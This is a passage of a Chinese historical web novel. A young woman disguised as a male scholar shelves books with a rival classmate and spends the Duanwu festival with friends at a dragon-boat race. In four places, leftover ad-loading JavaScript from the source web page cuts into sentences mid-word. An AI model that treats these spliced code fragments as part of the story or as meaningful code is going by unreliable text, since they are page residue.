霍澄道:“对啊对啊,我们也要听,这种事不带上我们就太不讲义气了。” 赵知行板着张脸:“谁跟你是我们。” 慕怀清看出来赵知行心中的芥蒂已经散去不少,不再向着自己说着讥讽刻薄的话,只是还端着姿态罢了。 三人就这样留了下来,一同挤在狭小的房间里。 霍澄性子最是跳脱,他根本不是要听学问,只是爱热闹而已,以至于聊到后来,全被他带偏了,聊成了家长里短。周近野哭笑不得,赵知行则说他一天到晚没一刻得闲的。 至油灯燃尽时,众人方才散去。临走时,陆居澜神色认真对慕怀清道:“下次课试,我会好好准备,也望慕兄全力以赴。” 慕怀清颔首。 - 课试结果传开后,闲话确实不多了,慕怀清耳根清净下来,和一些同窗相处也还算自在。 话说这日慕怀清正想回住处,迎面走来一人神色匆匆。 慕怀清打了个招呼:“李师兄。” 李行简见了慕怀清,却是如蒙大赦:“原来是慕师弟,不知慕师弟现在可有时间?与我同斋舍的好友突然身子不舒服,我实在不放心,正要去请医谕,恰巧今天又答应了掌书去御书阁帮忙整理书籍,实在脱不开身。若慕师弟也忙的话我便再找他人。” “不忙,御书阁的事就交给我,师兄先去医谕那儿吧。” “谢过慕兄了!”李行简拱手说罢,匆匆离去。 御书阁坐落在书院中轴线上,自大门进一直走到底就是,离斋舍不算太远,慕怀清去过几次。 楼前凿了一方池塘,是为防火,现在不到夏季,塘中还看不见荷花。塘上一座白石拱桥,拱桥对面便是书楼了。 楼高两层,面宽六间,红墙黑瓦,典雅有致。慕怀清进去后找到掌书,报了李行简的名号。 掌书管着御书阁,年纪四十左右,总板着张脸,跟赵知行倒是有的一比,反正慕怀清来了好多回,一回也没见他换过表情。 掌书道:“柳员外捐了一批书过来,我刚录完,要搬到架上放好,有个管干家中有事,所以才叫了斋长帮忙。” 这柳家乃是晋州有名大富商,柳员外身为商贾之人,却对读书人尤为尊敬。 他幼时家中寒苦,还有个爹要照顾,便没读书,做起了生意。也是老天爷赏饭吃,柳员外于经商一道颇有天赋,生意就越做越大了。 如今到了知天命的年纪,他反而不认命了,供自己两个儿子读书,一个已经考上了举人,最后决定回家继承家业,另一个也进了崇临书院。他不仅常捐钱给书院,一些孤本坊刻也会收集送来。 掌书领着慕怀清来到书楼后的一个仓间,指着那些书对她道:“你按着册子上的编目放好就行,有够不着的地方就搬梯子。” 矮桌上足足有数百卷书,慕怀清这才反应过来自己接了一个怎样的体力活。可自己答应的事,咬着牙也得做完,好在眼前这些书只有史、集两类,起码不用她到处跑。 她来过书楼几回,记得史、集两类放在何处,按着册子上的指引放上去就好了。 慕怀清卷起袖子开始搬,一次最多搬得了十卷。书架附近一般都会放个梯子方便取书,碰到高处的,慕怀清就得搬来梯子,一手抱书一手爬上去。书楼里闷得很,不过几趟下来,她额头便已出了薄汗。 这趟她刚放上去书,正要从梯子上下来时,就听见底下有个声音。 “慕兄?我还以为你是来借书的,怎么是你在忙这些?” 慕怀清低头看去,是陆居澜。 她脚落了地,嘴里无奈笑答:“管干家中有事,行简师兄答应了来帮忙的,可他舍友又突然身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子不舒服,路上碰见,我便替他过来了。陆师兄是来借书的吗?” “还没找到想看的,”陆居澜见她又将地上剩余一堆书抱起,费力爬上梯子,便出言道:“你还有多少要搬?” 慕怀清眼神瞬间亮起,投向陆居澜:“还有近两百卷书。” “就你这身板,也敢随便答应这些重活?” 慕怀清将书放好,再次下了梯子:“来之前也不知道有这么多啊。” “走吧。” 慕怀清忙笑着行礼作揖:“陆师兄大恩大德,怀清铭感五内。” 陆居澜走在前头:“你要是累坏了,课试那天考不出来怎么办?” 慕怀清低头忍着笑意。陆居澜看上去是个稳重的人,心底却有些孩子气,一直在意甲等第一那事,又好面子,那天晚上放下骄傲来找自己实在是为难他了。 有陆居澜在,慕怀清轻松不少,来回搬了不到十趟便搬完了。他爬上爬下,慕怀清只管在底下把书递给他。 期间慕怀清拿袖子拭了拭额上的汗,陆居澜随口道:“你怎么忙得脸这样红?跟个女孩子一样。” 陆居澜这随口一说,却让慕怀清心中忐忑起来。 她答道:“兴许是以前生活艰苦,身体瘦弱了些,我从小也干活的,只是今日书卷实在太多了。” 陆居澜虽听别人说了许多她的过去,但还是头一回听她自己提起。 “你,今年几岁?” “十八。”她答道。这是慕家弟弟的年纪,她对外一直这样说,其实自己却是十九了。 “小我一岁……”陆居澜呢喃了一句。不过小自己一岁,长得却太瘦小了些,他心中有些替慕怀清叹息,不知不觉又想起那首诗来,没再多说调侃的话。 待忙完后,两人又在书楼借了些书,出来时天色已暗。慕怀清这才想起来自己还没吃晚饭,觉得有些肚子饿了。 她问陆居澜道:“陆师兄吃过饭了吗?” 陆居澜摇头。 “那一起吗?” “好。” 这时候思源斋的人并不多,陆居澜见慕怀清就挑了两碟子菜,道:“你还是应该多吃点。” 慕怀清失笑:“食量一事,岂能强求。” 两人坐在一处吃饭,不少学子都侧目看了过来。 “不是说慕师弟抢了陆师兄第一的名头啊,怎么两人还坐在一起?” “说不定他们是暗地里较劲,表面装样子给对方看呢?” “可我瞧着不像啊,那天刚来书院的时候慕怀清占了陆师兄常坐的位置,陆师兄也没说什么。” 这些话声音不大不小正好传进两人耳朵里。 慕怀清有些尴尬道:“我这些天坐的一直是陆师兄的位置吗?实在抱歉,那天进去就看见了,觉得那个位置安静些,好听讲。” “也不算,只是我经常坐那里而已。” “那下次我还给陆师兄?” “不用,”陆居澜顿了顿,而后抬眸看向慕怀清,唇角染着笑意,“不过他们说的也没错,慕兄在我眼里已经是对手了,往后必当同慕兄一争高下。” 9. 第九章 陆居澜说到做到,下次旬假回来,果真拿了甲等第一。慕怀清对此倒不在意,她还乐得有个对手鞭策她前进。 此时距慕怀清刚来书院将近一个月了,如今已是四月底,田假近在眼前。 五月农忙,大梁重孝义,是以书院会给学子们放假一个月回家帮忙。除了农忙,也是给年纪大些的学子行嫁娶之事,因此田假也被称为嫁娶假。 思源斋中,霍澄正就这次的长假谈论自己的打算。 “过段时间就是端午了,不知道今年沧梧江上的龙舟赛怎么样,听闻几家员外都花了重金造新船,应该会很热闹。还有同陵社的诗会,往年都是一个花样,今年柳江心当了社长,希望能好玩一些……” 赵知行道:“一月长假,怎能荒废在玩乐上,应该向云程和慕兄看齐才是。” 他对慕怀清的成见已经差不多放下了,只是不称兄弟,没那么亲近而已。 “那放假不就是给人放松的嘛。”霍澄反驳道。 陆居澜不紧不慢开口:“这是田假,也是嫁娶假,是给你干活娶妻用的。你一来不事农,二来不成亲,怎么净想着玩乐?” “你们也不事农成亲啊,真还念书去?” 陆居澜对周近野道:“我记得你还有婚约在身来着,你打算什么时候完婚?” 周近野想起这件事,笑容也温柔起来:“大抵在明年科举过后,不论有没有功名,都要回贺州成亲的。” “没想到近野兄还有婚约在身,”慕淮清又疑惑道,“可近野兄不就家住城外吗?” 周近野道:“这我还未同你说过,我本家在贺州,后来随爹妈来了晋州营生,落了这里的户籍,也在这里念书应试。亲事是从小定下的,要回族里完婚。” 慕怀清道:“原来如此。” 赵知行眼光有意无意往陆居澜那瞟,问道:“你们都打算什么时候成亲?” 陆居澜道:“待考取功名再说。” 慕怀清跟着道:“我同陆兄一样。” 霍澄摸着下巴:“我还想再快活几年呢,我祖父给我说亲,我都不要,气得他好几个月没再提了。” 众人哭笑不得。 - 几日后放了假。 慕怀清照旧与赵知行同乘一辆马车,只不过两人关系缓和,赵翁也就不再来接了。 临下车时,赵知行突然出声道:“关于你的身世——” 慕怀清停下来,回头看他。 他别过头去:“既然爹留你在府中,我也不再说什么,但这并不代表我承认你了。你也最好别在小妹跟前晃悠,惹出事什么来。” 慕怀清笑了下,并未说什么。 回到院中时,刘媪正在门口挂艾草,见慕怀清回来,欣喜道:“小郎君回来了啊,府上的粽子已经送到我们院了,好几种馅儿,我也跟着做的。” “刘媪手艺这样好,我可是有口福了。”慕怀清进屋后看见一个竹篮,篮子里装了许多粽子。 刘媪艾草还没挂完,在外头喊道:“绑红线的是蜜枣粽,黄线的是蛋黄粽,蓝线的是肉粽,白色的就是白粽!” “好嘞!”慕怀清回道。 她放下书篮走了过去,挑了一个白粽,看了好一会儿,然后才剥开轻轻咬了一口。 白粽软糯香甜,没有任何馅料,分明是最简单不过的一种粽子,可她吃着却甚是怀念。 她想起了以前和爹在任上的时光。那任地偏僻,家家穷苦,端午连粽子都少有人吃得起,爹见此不忍,便出了自己的俸禄买米,召集乡民一起来裹粽。 那时候大家闹哄哄聚在院子里,面上是可见的欢喜,小小年纪的她就坐在人堆里,听他们闲话家常,等着热气腾腾的粽子出锅。 只是这样宁静的时光并不长久,爹调任离世后,她再没吃过一口粽子,也再没能回去那个地方。 想着想着,慕怀清不自觉湿了眼眶,刘媪挂完艾草进来,她听见脚步声,连忙擦了擦眼角。 “小郎君会做五彩绳吗?” 慕怀清粽子吃在嘴里,并不说话,只点了点头。 刘媪笑道:“那我倒是白准备了。” 慕怀清见她从袖中掏出好几条五彩绳,都是不同的手法编的,只是没有她熟悉的那种编法。 “这些都是给小郎君的。” 慕怀清愣了一下,觉得刚忍住的泪意又涌了上来了:“多谢刘媪。” 她连忙接过手绳,道完谢后背过身去,提着书篮进屋收拾去了。 - 第二日她起了个早,正吃着粽子,就听见外头闹嚷嚷的。她以为是那几个孩子,嘴里一面咬着粽子一面往外走去。 一出门,就见逐月欢快走在前头,霍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 澄等人走在后边。 她动作一顿,而后不紧不慢将嘴里的粽子咽了下去。 逐月道:“郎君还在吃早饭吗?” “嗯,你们怎么这么早就过来了?” 霍澄盯着她手里的粽子瞧:“不是说了嘛,端午一起出来,逐月已经帮我们在画舫上订了位置,龙舟赛得趁早去,不然晚些人就多了,挤都挤不进去。” 慕怀清舀水洗了手上的黏腻:“不差这一时半刻,你们可吃过早饭了?屋里还有粽子,要是不嫌弃的话就进来坐坐。” 霍澄等的就是这句话,刚才见慕怀清吃得香,便馋虫大动,此时笑着进屋去:“你大早上吃这个?” “喜欢,不行吗?” 逐月在边上道:“原来郎君喜欢吃粽子。” 身后陆居澜和赵知行对视一眼。 陆居澜心想去画舫等着也是等着,便跟着明澈过来了,一进来就见在外举止温和有礼的慕怀清在家随意叼着粽子。 而赵知行虽住在赵府,但这赵府后边的小院还是头一回来。 一旁的周近野则叮嘱道:“粽子早上空腹吃还是伤胃,慕兄记得再喝点热茶。” 慕怀清笑道:“是,多谢近野兄提醒。” 几人进屋后,慕怀清端了粽子来,又亲自煮了茶。 霍澄半点也不客气,立马剥了一个肉粽吃,嘴里含糊道:“你这里好像挺冷清的。” “我不喜欢吵闹的地方,这里刚好。” 这粽子赵知行早吃过了,是以他并没有动手,只端着茶喝。 慕怀清早前见过陆居澜吃饭,很斯文,也很挑食,以为他是那种矜贵的人,眼下却见他剥了一个枣粽吃。糯米柔软金黄,衬得那修长如玉的手指分外好看。 周近野见霍澄剥了一个又一个,倒了杯茶给他,无奈道:“你在府里不是吃过了吗?” 慕怀清道:“你们一起的吗?我还以为近野兄是一大清早进城来的。” 霍澄灌了一口茶:“他家那么远,进城来得起一个大早,万一赶到的时候到处挤满了人怎么办?所以我就请他到我家里住喽。” 赵知行嫌弃道:“你再吃,真要挤满人了。” 霍澄拱了个手:“是是是,赵衙内说的有理。” 赵知行给他气笑了。 几人略坐小会,便出发去沧梧江了。 10. 第十章 晋州的龙舟赛每年都在沧梧江举行,由府衙督办,城中富商们各自打造龙舟,再挑上城中好手一比高下。胜者有彩头,每年彩头不同,也是府衙所定。 龙舟赛算是晋州端午最热闹的活动,从早晨开始闹,闹到傍晚太阳下山方才罢休。 此时江边一溜的凉棚,十数龙舟停在江面上。中间一艘巨大的画舫,三层高,是给知州和其他贵人观赛用的。 这个时辰人却不少,乌泱泱的一片都趁早占了位置来瞧热闹。人多的地方就有生意,小贩们也早早挑了地方开始卖东西。 慕怀清以前虽在京城长大,可却未曾见过龙舟,只因京城无大江大河,龙舟赛大多举行在皇家园林中。后来爹被贬往的地方群山环绕,爹亡故后,她也被赶出家门几经漂泊。 这样宽阔的江,这样盛大的龙舟赛,这样平凡而又热闹的场面,她都是第一次见。 几人上了画舫,那些有身份的人还没这么早来,丫鬟小厮们正忙碌准备着。往年霍澄他们都是来惯了的,用不着接引,自行上了二楼雅间。 房间布置精美,以四时花鸟屏风隔开,几人落了坐斟茶喝,茶色如琥珀,入口清香微涩,是上等好茶。 案上几碟点心,霍澄又吃了起来:“无晦,你以前家住哪啊,看过龙舟赛吗?” 慕怀清道:“宁州亳阳郡昌远县,那里到处都是山,没有龙舟赛可看,不过各家绣娘倒是会比那香囊上的刺绣,和乞巧节有些像。” 霍澄听后得意将自己腰上的香囊摘下来晃了一圈:“那我这个怎么样?我家逐月特意给我做的,难得吧。” 逐月在边上气得跺脚:“郎君,这分明是你看见后非要抢过去的。” “咦,是吗?我看见你在绣这个,不是给我是给谁啊?” 陆居澜笑他:“你自己好好想想,逐月往年给你绣过吗?” 接下来的话不用说,陆居澜以为也很清楚了,可他还是高估了霍澄。 “你给自己用的啊?我还以为你是真记挂着我了,喏,还给你。”霍澄将香囊接下来递到逐月跟前。 逐月都快让他给气哭了,一把给拍回去:“我不要了!” “哎你这——” 周近野轻咳两声:“看来明澈确实是晚几年成亲的好。” 赵知行说得更直接:“你不是说看人很准吗?连你家丫鬟有心上人了都不知道。” 霍澄一惊:“你真有喜欢的人了?谁啊,让我给你掌掌眼,可不能让我家逐月被人欺负了去。” 逐月这下给闹了个大红脸。 慕怀清觉出逐月的尴尬,适时转移了话题:“明澈兄和逐月倒像兄妹一般。”自她第一次见霍澄和逐月,就看出来主仆二人经常打闹,关系很好。 逐月感激地看了她一眼。 霍澄解释道:“逐月本就不是府上买来的,她还没记事时,家中遭了变故,只剩她一个幼儿,我祖父念她可怜,就养在府上,后来才跟在我身边。” “原来如此。” 心上人的事这才算是揭过去了。 几人一边吃喝一边闲聊,又聊到慕怀清的过往。虽说她刚到晋州时很是闹了一阵,但眼下了解她是什么样的人,流言蜚语几人也不在意了。 她回忆以前慕家弟弟告诉她的话,概括道: “……我啊,是在县学念的书,白天念书,晚上回了家就帮先母做些活,不过后来先母身体一日不如一日,就没再读了,都在家照看她,直到三年前先母病重去世。 “其实关于先母的事,街坊邻居有些闲言碎语,我们在家中也免不了受到冷眼,唯有阿婆会护着我们。先母去后,我就和阿婆相依为命,可阿婆也在一年前走了。她临走前告知了我的身世,慕家再待不下去之后,我便四方打听寻到这里来了。” 霍澄当先从座位上弹了起来:“怎么,他们赶你出来的?” “那倒不是,只是要受许多刁难,再没有书念了,我自觉不能一辈子这样下去,便离家出走了。” 陆居澜道:“你离家出走……在外有一年了是吗?” 慕怀清点头。 霍澄拍着胸脯道:“你放心,以后有谁敢欺负你,我给你撑腰!” 周近野接道:“以无晦兄的资质,将来定能考取功名,以慰令妣在天之灵。” 赵知行未说一字,只是低头沉默着。 慕怀清心中温暖,道了声谢,但不欲多言过往坏了气氛,便扯开了话题,问起了旁边案上摆着的几把小弓。 霍澄兴致勃勃道:“你没玩过吗?这是射粉团。粉团置于盘中,造一架纤巧小弓,射中者得食,这向来是端午时兴的玩法。” 他起身将小弓拿在手里颠了颠:“往年都是近野拿彩头,今年我一定要胜他。” 陆居澜道:“往年除了近野,不是我射得最多吗?” 慕怀清问:“你们都会武吗?” 陆居澜道:“学过一些。” 周近野道:“我家祖上走商,到现在也还接点生意,所以小时候练过,有些底子。” 周近野说完,又笑道:“今年我就不和你们争了,看看你们谁拿彩头。” 还没等陆居澜说什么,霍澄当即叫道:“你不来,我怎么赢你啊!” 赵知行一见那弓就犯晕,年年射,年年倒数。他对霍澄道:“彩头还没定呢,你就少在那放大话了。” 霍澄道:“对啊,今年定个什么彩头?” 慕怀清道:“我没玩过这个,便看你们玩好了。” 赵知行一听,知道自己今年不倒数有戏了,于是清了清嗓子,一本正经道:“只我们几个玩有什么意思,你没玩过,合该尝试一下才是。” 以霍澄的性子自然也不肯放过:“对啊对啊,我们先来,你看好了学,很简单的。” 陆居澜和周近野也看着她。 慕怀清顶着几人目光,只得无奈笑道:“好吧,不过我事先没有准备,身上没什么东西好拿来当彩头。” 陆居澜道:“这没关系,就是图个热闹而已,随便一样都行。” 慕怀清想着,解下了手腕上戴的五彩绳,绳子是云雀结,如枝蔓一环缠着一环,很是好看。这是她自己昨晚编的,编法是曾经与乡民学的。 霍澄惊道:“你还戴这个?” 慕怀清道:“我自己编的,也算不得难看,就拿来当彩头吧。” 霍澄又惊了:“我们几个都不戴的。” 赵知行道:“我娘非逼着我戴,我不好意思戴手上,就戴在脚上。” 霍澄再惊了:“我还以为我们几个都不戴的,原来你是偷偷戴了好几年啊。” 赵知行抿着唇。 端午戴五彩绳也是习俗,绑在手臂上,消灾祈福的用意。很多男子觉得颜色太过鲜艳,都会偷偷系在脚踝上。 慕怀清倒是不知道霍澄他们也在意:“要不我换一个?” 陆居澜看着那五彩绳,眸色暗了暗:“不用麻烦了,就这个吧。” 逐月在后边扯着霍澄,对他低声道:“郎君,我觉得这次你一定能拿彩头。” 霍澄大受鼓舞:“好,有你这句话,我定给你拿彩头回来!” 逐月等的就是这个,听后 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 笑弯了眉眼。 霍郎君一出书院就是穿金戴玉,拿出的彩头是他腰间宫绦系的一块玉佩。 “成天穿得这么招摇。”赵知行一阵鄙夷,说着面不改色解下了自己脚踝上的五彩绳。 陆居澜将他手里的折扇压在桌上:“你脚上戴过的我可不要。” 霍澄道:“还没比呢你就当自己已经赢了?” 陆居澜挑眉:“你要戴?” 霍澄摇头:“我也不要。” 赵知行黑了脸。 周近野摇头笑着。 话不多说,霍澄走到前头,当先挽弓一箭射出,射中后欢呼起来。 赵知行道:“你别得意,还有十一发呢。” 每人十二支小箭,中者多的得胜。到最后霍澄一共中了十一箭,只落空一箭。 换了赵知行上来,他刚要射,霍澄就忍不住笑,赵知行回头瞪他一眼。 霍澄道:“每年知行都是最少,不知今年能不能跟无晦争一争。” 慕怀清笑道:“我初次玩凑个热闹,怎敢同你们争。” 说话间,赵知行射出去一箭,没中,后来连着三箭,也没中。 霍澄在一旁已经吃上了粉团:“动作都教过你了,但你这方向还是把握不好啊。这个松了松了,再紧点,对,别犹豫,你看,这不就中了?” 赵知行在他的指点下,最后勉强中了两箭。 到陆居澜上来,霍澄翘着腿道:“你那扇子我喜欢得紧,这次便让给我呗。” 陆居澜瞧他一眼,并不说话,搭箭上弦,手法很稳。一箭又一箭飞出,霍澄嘴里的粉团也吃不下去了。 十二箭竟无一落空。 “你倒是进步了……”霍澄苦了脸,知道自己的彩头没了,扁扁嘴,于是专心看起慕怀清来。 她刚才见他们搭弓,动作差不多都记住了,可一到自己手上,摆了几回还感觉不对。 霍澄又在边上指点起来:“你手臂抬直,左手手臂,对,然后右手三指放在弦上,箭夹在第一和第二根手指中间,箭要搭直,哎呀不是这样!” 周近野笑道:“你啊,就别搅和了,弄得无晦越来越紧张。” 慕怀清依着霍澄说的来,手忙脚乱的把自己都给逗笑了:“要不还是算——” 突然一只手扶了上来。 慕怀清浑身一僵。 “箭这样搭,这根手指勾着弦,眼睛盯住了,”陆居澜握着她拉弦的手,一边拍了拍她的肩,“别这么僵着,射箭时这里用力,松弦的时候要快。” 末了还不忘补上一句:“你身子骨太瘦了,在书院见你总吃那么点,以后还是多吃些好。” 慕怀清脑子里嗡嗡作响,压根没听清他在说什么,胡乱点着头,待陆居澜将手松开后一颗心还跳得厉害。幸好没让他疑心什么。 慕怀清射出几箭后全没中,陆居澜还想上前,却被她闪身躲开了,她笑着说:“这游戏就是要自己玩才有趣,云程兄这样教我,万一超过知行兄,岂不是太不公平?” 这话说得巧妙,陆居澜也没深究,挑眉道:“超过了那也是我教的好。” 最后中了两箭,和赵知行一样。 赵知行面色一言难尽,霍澄直在一旁拍手大笑:“知行啊知行,这是连刚学的无晦都赶上你了。” 赵知行气恼:“你又不是不知道,这种游戏我向来玩不好。”还有像投壶什么的,简直是玩一次丢一次脸。 陆居澜走到桌旁,将慕怀清那根五彩绳拿在手里看,看了好一会,转身问慕怀清道:“这种云雀结我倒是很久没见过了。” 11. 第十一章 “云程兄还知道这个?”慕怀清没想到陆居澜不戴五彩绳,却看得出来云雀结。 云雀结不是直接绑在腕上的,上面有个活结,戴上去后五彩绳首尾相衔,很是好看。 “嗯,知道一点。”陆居澜垂下眸去,看不清什么神色。 霍澄奇了:“你真要戴?” 赵知行道:“我娘编的也不差啊。” 陆居澜斜睨他们一眼,而后单手系结。男子的手修长有力,骨节分明,白皙的腕上一根五彩绳,很是妍丽的美。 逐月瞧着那场面,眼睛都酸了,暗地里踢了霍澄一脚。 “我又怎么你了?” 逐月咬牙道:“就是见郎君没拿到彩头,太激动了。” 霍澄莫名其妙。 一番玩闹过后,忽然听得外头一阵欢声和着鼓声响起,周近野走到窗边看:“是龙舟赛要开始了,我们去甲板上吧。” 江面开阔,擂鼓震天,对面十数艘龙船已经齐齐排开,青年桨手们头腰缠着红布蓄势待发。赵季青就站在甲板上,身边拥着一众官员富商。 几人过去行了礼。赵季青回身,对他们点了点头。 他们寻了个角落观看,不久后三声鼓动,十数龙舟如离箭之弦飞出,岸边有人呐喊助兴,欢呼声一浪盖过一浪。 还有看客坐在小渔船上,跟在龙舟后头也玩起了竞渡,最怕的是船上孩童蹦跳得太厉害,将船都给跳沉了。 霍澄看得起劲:“什么时候该叫祖父给我搞条船来,咱几个也划上一划。” 赵知行笑骂道:“你当这船好划?窄窄一条的,站都站不稳。要玩你自个儿玩去。” 慕怀清也笑道:“我可不会水,明澈就别折腾我了。” “知行和近野都不会水,没想到无晦也不会,”霍澄捅了捅陆居澜胳膊,“今年你下水不?” 陆居澜想也没想就拒绝了:“不去。” “什么下水?”慕怀清问。 霍澄道:“往年龙舟赛结束后,还抓水鸭,鸭脖子上系根红绳扔到江里去,让会水的下去捉,谁捉着了归谁。” 说罢他又长长叹了一声,目光幽怨看着陆居澜:“往年都是我一个人玩,一点意思都没有。” 周近野道:“往年你不是玩得最欢吗?” 慕怀清又问:“云程兄也会水吗?” 陆居澜慢悠悠道:“不会。” “哎,老陆你这就不厚道了!” 赵知行还想看龙舟赛呢,嫌霍澄聒噪:“光顾着听你们讲话,连我押的江家船什么时候落到后头了都不知道。” 霍澄的目光重新放到龙船上去,一拍大腿:“不对啊,刚才分明还是柳家船在前面的!” 画舫就停在终点,随着时间推移,远远的十数个黑点渐渐放大,显现出了窄窄一条轮廓,呼喝声像是密集的雨点,和着擂鼓声砸在江面上,如虹气势扑面而来,震撼人心。 原先一字排开的龙船已经前后拖成了长队,现在跑在前头的有三艘,分别是江、柳、郑三家,最接近终点的是郑家,江、柳紧紧咬在后头。 庄上开赌,霍澄和赵知行一个压了柳家,一个压了江家,此时见两队落后,都紧张喊了起来。 “柳家赶上来了!” “我看江家才是——” 突然一阵惊呼,只见江面上溅起一片浪花,原来是那柳家船鼓击得越来越快,有边赶不上速度,一边快一边慢,偏了方向,连人带船全翻进了水里! 赵知行一愣,紧接着大笑出声:“哈哈哈哈,你柳家船没了!” 霍澄脸都垮了下来。 可那江家就咬在柳家后头,赵知行还没笑多久,就见江家船闪避不及,一头撞在翻了的柳家船上,也没了。 霍澄一哭一笑,脸都快抽筋了:“知行啊知行,高兴莫要太早!” 慕怀清几人也他们被逗笑了。 最后原本就跑在前头的郑家拿了第一,赵季青亲自送上的彩头。年轻的桨手们呼啦啦上了画舫,结实的身躯还淌着水,滴了一甲板。 赵季青兴致颇高:“好!这才是我晋州男儿的气概!” 桨手们领了赏吃过饼,又呼啦啦下了画舫,龙船开回江边,画舫也跟在后头回去。 龙舟赛虽过了,百姓们还正当兴头呢,他们的热闹这会儿才真正开始。 各坊的里正已经准备好了系红绳的水鸭,岸上一溜年轻力壮的男子挤到前头来,争先恐后脱了外裳准备下水,将岸边女人看得那叫一个面红耳赤。 往年也有场面太过热闹而抽筋淹在水里没了的,是以知州就下令限制了人数,不会水的不让下。 可人一激动起来,那就只管眼前快活,什么话也抛到九霄云外了。后来看实在管不住,干脆不管了,江面上渔船排开,雇人盯着,哪里要淹了,就伸个竹竿子过去。 眼看画舫就快开到江边,霍澄急了:“老陆,你来不来?你要不来,我往后都不跟你讲话了!” 以霍澄的性子,真是要管住一天都难,慕怀清笑道:“云程兄若是会水,凑个热闹也无妨。” 陆居澜这边还不肯下水,霍澄却已经解了腰上系的宫绦。他今天一身朱殷色交领长衫,一如初见般张扬,因着天气炎热,里面没穿中衣,长衫一脱便是抱腹中裤,臂膀坦着。 逐月瞧着自家郎君脱衣服,别开眼去,心中叹了一句:要是慕郎君也会水该多好…… 慕怀清未料到霍澄脱得直接,看了一眼也忙移开目光:“明澈兄不仅精通箭术,凫水也是一把好手啊。” “那可不,”霍澄得意道,又回头激陆居澜,“我说老陆,你比箭都赢过我了,这回不敢比,是不是怕输给我没面子啊?怕输就船上待着,等我给你捉只鸭子上来烤!” 说罢笑着蹬了皂靴,一头扎入水中。 此时岸边一声呼喝,水鸭都扑棱着翅膀被扔进了江中,待游远了,里正打个鼓,百号人齐刷刷跳下水,好似百来条大鱼,翻起岸边一道白浪。 慕怀清刚想说什么,转头就看见陆居澜竟也开始脱起了衣服,露出底下雪白的中衣中裤,脱完了和摘下来的幞头一起塞给她,又脱了靴子,一言不发跟着扎进水里头。 “小心些啊!”慕怀清在他后头喊。 他今天一身石青圆领袍,窄袖纹云,丝锦面料,触感很是舒服。慕怀清抱着他的衣袍,心想,这人还真不是有点好胜。 不久江面上就混乱起来,人和人、人和鸭、鸭和鸭,哪里是哪里都分不清了,只见浪花一片片的,附近的小渔船也跟着晃。 慕怀清站在船上张望,根本找不见霍澄和陆居澜在哪,一个浪头扑过来,她不觉得热闹,只觉得有些胆颤,不自觉就离船舷远了些。 周近野笑道:“云程这么爱干净,难得见他下水了。” 慕怀清在船上坐着也无事,就闲聊起来:“你们相识多少年了?” 周近野道:“云程是跟着他祖父来晋州的,他祖父走后他就进书院了,明澈还要晚个三四年,不过明澈父亲是当朝副相,他们两个都在京城长大,所以很早就认识。我跟知行是前两年进来后才和他们分到一个斋舍的。” 慕怀清听得一愣:“云程兄的家世我倒是知道,明澈兄我一直以为他只是个富家子弟,他的父亲竟是,副相霍朗?” “他从未主动提起过,你不知道也正常,书院里知道他家世的也没多少。” 慕怀清心中有些五味杂陈。霍朗是在先帝驾崩之后才崛起的人物,他有个女儿前两年还入宫为妃了。当下能屹立在朝堂的毫无疑问是旧党。 慕怀清接 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着问:“明澈兄为何也从京城大老远跑到这来?” 周近野道:“他是性子实在太野,没谁管得了他,来这里修身养性的。听云程说他以前在京城还有个‘京城一霸’名号,有次把一个尚书的儿子揍断腿,事情闹得挺大。霍老太公也就是明澈祖父,本要来晋州养老的,就把人亲自接到身边管教,这才听话些。不过你别看明澈平日里不正经,其实他很聪明的,只是不肯用功,要不是为了顺着老太公的意,他也不会勉强考进书院来。” 慕怀清点了点头,又问:“那云程兄呢?我平日里也未听他提及他的家中情况。” “云程啊,除了他祖父,他和家里谁也不亲近,尤其和他父亲关系不好。陆家本家在这,青葙先生走后他宁愿和陆家其他几房一起,也不肯被他父亲接回京去。他在陆家行十一,还有个同父的弟弟在京城,连他自己也未见过。” “他母亲呢?” 周近野沉默了,赵知行接道:“去世了,在他很小的时候。” 周近野道:“我们无意中问过一次,但当时惹他伤心了,无晦切莫在他面前提及。” “好。” 没过不久,便看见了霍澄和陆居澜的身影,两人动作很快,几乎是同时上来的。 霍澄爬上甲板,整个人坐了下来,吐了好几口水,蓬勃的朝气全然不见,一边呸一边骂:“呸!呸!哪个杀千刀的抢我鸭,还把我摁水里头,硬给我喝了几口鱼虾的洗澡水!” 霍澄骂得激动,一不小心松了手,那水鸭就到处扑腾,让后面上来的陆居澜一把抓住了。 他湿发贴着脸庞,阳光照着,好似镀着一层淡淡莹光,又从那脸上淌下水珠,淌过脖颈,没入衣襟中,衣裳打湿,显出底下一副好身材。 慕怀清忍不住多看了几眼。 逐月早给二人准备好了干棉巾递过去,慕怀清将衣袍放在陆居澜边上,上前接过了他手里的水鸭。 陆居澜腾出手来擦脸上的水,看她费力摁着两只鸭,忍不住笑道:“刚好这鸭你带回去,炖了给你补补身子。” 慕怀清回敬道:“我长得是没你结实,学问可就不一定了。” 陆居澜微眯了眼,唇角笑意更深:“是吗?上次那道论题,无晦兄还是来请教我的吧。” 慕怀清面色不改:“那叫知彼方能胜彼,等云程兄坐稳了第一再来反驳。” 霍澄将棉巾胡乱往头上抹了两下,擦得一头墨发凌乱:“打住打住,今天可是玩乐的好日子,怎么又扯上学问了?” 赵知行瞧他们两个一眼:“人家那叫认真,离了书院还不忘学问。” “他们惦记的是学问吗?他们惦记的是甲等第一拿的奖赏钱!” 剩下的人噗嗤一声都笑了。 换下湿衣裳后,几人就回到雅间用了午膳,吃的除了平日菜饭,还有端午才有的五毒饼,鸡蛋鸭蛋在头天晚上煮粽子的锅里煮上一圈,第二天正午晒了也端上桌。 百姓们大都不回去,有自己挎了吃食过来的,还有就近买了些粽子鸡蛋随便垫垫肚子的。 正当潮起,一浪接一浪,弄潮儿们把着红旗立在涛头,待潮水下去,红旗半点不湿,看得周围一阵喝彩,也是绝活。 赵季青此时同官吏富商们坐在船头,慕怀清几人就寻了个角落晒太阳,一边观景一边聊天。 